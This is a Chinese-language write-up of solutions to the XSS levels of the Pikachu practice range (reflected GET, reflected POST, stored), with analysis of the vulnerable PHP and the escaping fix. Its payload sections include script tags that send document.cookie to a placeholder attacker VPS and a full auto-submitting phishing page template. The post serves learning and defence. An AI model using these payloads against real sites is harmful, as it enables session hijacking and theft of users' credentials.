皮卡丘靶场解题记录-XSS

前言:

朋友们,写博客payload一定要记得放代码块里面,不然Hexo 会直接渲染成可执行 HTML,xss自动执行了,变成,,,,我的笔记在攻击我的博客,,,太搞笑了。

反射型XSS

1.get

盲打打不动,查看前端代码发现限制了输入参数长度

image-20260726212217333

修改参数长度为100之后,直接

1
<script>alert(1)</script>
image-20260726212452710
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
构造恶意链接 ──▶ 发给受害者 ──▶ 受害者点击

┌─────────────────┘

目标网站执行你的 JS 代码

┌───────────┼───────────┐
▼ ▼
窃取 Cookie 钓鱼页面
│ │
▼ ▼
发给你的 VPS 骗取账号密码
│ │
▼ ▼
会话劫持登录 拿到登录凭据

【实战价值与门槛】

image-20260728191052343

【代码兵器库】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- ===== Payload 1:快速验证漏洞是否存在 ===== -->
<!-- 直接拼在 URL 的 message= 后面 -->
<script>alert(1)</script>

<!-- 完整 URL 示例 -->
<!-- http://目标站/xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit -->


<!-- ===== Payload 2:窃取 Cookie ===== -->
<!-- 先在 VPS 上执行 python3 -m http.server 8888 开启监听 -->
<!-- 把下面这段拼到 URL 的 message= 后面 -->
<script>new Image().src='http://你的VPS:8888/?cookie='+document.cookie</script>

<!-- 完整 URL 示例 -->
<!-- http://目标站/xss_reflected_get.php?message=<script>new Image().src='http://你的VPS:8888/?cookie='+document.cookie</script>&submit=submit -->


<!-- ===== Payload 3:标签属性型利用(绕过简单过滤) ===== -->
<!-- 当 <script> 被过滤时,用 img 标签的 onerror 事件 -->
<img src=x onerror=alert(1)>

<!-- SVG 标签变种 -->
<svg onload=alert(1)>

<!-- a 标签需要点击 -->
<a href="javascript:alert(1)">点我</a>

2.post

  1. 漏洞原理一句话总结: 后端无转义回显<script> 被输出到页面正文,浏览器解析 HTML 标签执行 JS

  2. 我的测试过程(截图): 类似上面get请求

    payload换成

    1
    <script>alert(document.cookie)</script>

    可以拿到cookie

    补充:document.cookie 是什么? 它是浏览器给每个网页自动维护的一个”通行证抽屉” 。你登录皮卡丘靶场时,服务器给你发了一张”通行证”(也就是 Cookie,里面存着 PHPSESSID 之类的信息),浏览器把它放进这个抽屉里。 document.cookie 就是打开这个抽屉,把里面的通行证内容读出来。

    image-20260728191828908

    如果前端限制了maxlength,可以使用hackbar绕过前端长度限制,当然也可以自己手动改一下前端代码

    可参考Pikachu靶场全关通关笔记与涉及的思路分析整理 - jshhdyz - 博客园

  3. 核心漏洞代码分析:

    image-20260728183440905

    后端php代码没有对参数进行敏感词转义

    image-20260728183548584

    输出到页面正文,浏览器解析的时候,直接执行js

    防御方式:

    1
    $html.="<p class='notice'>who is ".htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8').",i don't care!</p>";
  4. 实战延伸(价值所在):

    实战价值与门槛

    image-20260728191340767

    【漏洞积累】GET型与POST型反射XSS的实战区别

    1. 核心原理与区别(大白话)

    • GET型: 参数在网址里。直接把含有 Payload 的 URL 发给受害者,点击即触发。(像递一杯毒水)
    • POST型: 参数在请求体里,URL 里看不见。无法直接发链接投毒。

    2. POST型怎么实战利用?
    因为没法直接发链接,所以攻击者需要自己在服务器上写一个“钓鱼网页(HTML 表单)”。
    这个网页里写死了带有 Payload 的 POST 请求。然后把钓鱼网页的链接发给受害者,受害者打开的瞬间,表单通过 JS 自动提交,完成攻击。

    3. 为什么 POST 型比较鸡肋(利用门槛高)?

    • 需要诱导受害者点开第三方服务器的钓鱼链接。
    • 受害者必须在目标网站处于“已登录”状态。
    • (一般需要配合 CSRF 漏洞一起打组合拳)。

    4. 代码兵器库:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    <!-- ===== Payload 1:直接弹框验证漏洞 ===== -->
    <!-- 在输入框里填下面这行提交即可 -->
    <script>alert(1)</script>


    <!-- ===== Payload 2:窃取 Cookie(需配合攻击服务器) ===== -->
    <!-- 放到钓鱼页面的表单 value 里,自动提交到目标站 -->
    <script>new Image().src='http://你的VPS:端口/?cookie='+document.cookie</script>


    <!-- ===== Payload 3:完整的自动提交钓鱼页面模板 ===== -->
    <!-- 保存为 poc.html 放在自己服务器上,把链接发给受害者 -->
    <!DOCTYPE html>
    <html>
    <body>
    <form id="f" action="http://目标站/xss_reflected_post.php" method="post">
    <input name="message" value="<script>new Image().src='http://你的VPS/?c='+document.cookie</script>">
    <input name="submit" value="submit">
    </form>
    <script>document.getElementById('f').submit();</script>
    </body>
    </html>

存储型XSS

  1. 漏洞原理一句话总结:

    反射型 XSS 就像你在小区门口见人就喊一声”打折啦!”,只有当时路过的人能听到。人走了就没了。

    存储型 XSS 就像你印了一万张广告单,贴在了每栋楼的电梯里。以后 任何人、任何时间走进电梯,都能看到这张广告单 。你只需要贴一次,后面所有进电梯的人都会中招。

    攻击者把恶意 JS 代码写在留言板里,这条恶意留言就被”贴”在了数据库这个”电梯”里。之后每一个访问这个页面的用户,浏览器都会从数据库里读出来、执行这段恶意代码—— 一劳永逸,持续攻击。

  2. 我的测试过程:

    image-20260728230352252

    同样用

    1
    <script>alert(document.cookie)</script>

    可以直接弹窗,类似上文,

    image-20260728230304592

    区别在于,这个xss是存储型的,刷新页面、关闭浏览器再打开,弹框仍在 ——代码被持久化存储了,每个访问者都会触发。

  3. 核心漏洞代码分析:

    后端代码采用了escape函数处理用户输入的参数,但是image-20260728225259758

    在mysql.inc.php中可以看到,

    escape函数只做了sql注入的防护,但对于xss的符号没有处理

    【而且对于这个防御SQL注入的函数,本身也有局限性。一是,必须先连接数据库(传入有效的 $link),否则mysqli_real_escape_string失效;二是,无法防御数字型 SQL 注入 如果后端 SQL 语句直接拼接数字,没有单引号包裹,这个函数起不到作用;三是,现代开发首选方案:预编译(PDO prepared statement),比手动转义靠谱得多】

    同样,后面直接输出了数据,没做处理image-20260728225621471

    数据库里存了什么就原样输出什么, 没有任何 HTML 转义 。你存入

    1
    <script>alert(1)</script>

    ,页面就输出:

    1
    2
    <p class='con'><script>alert(1)</script></
    p>

    浏览器看到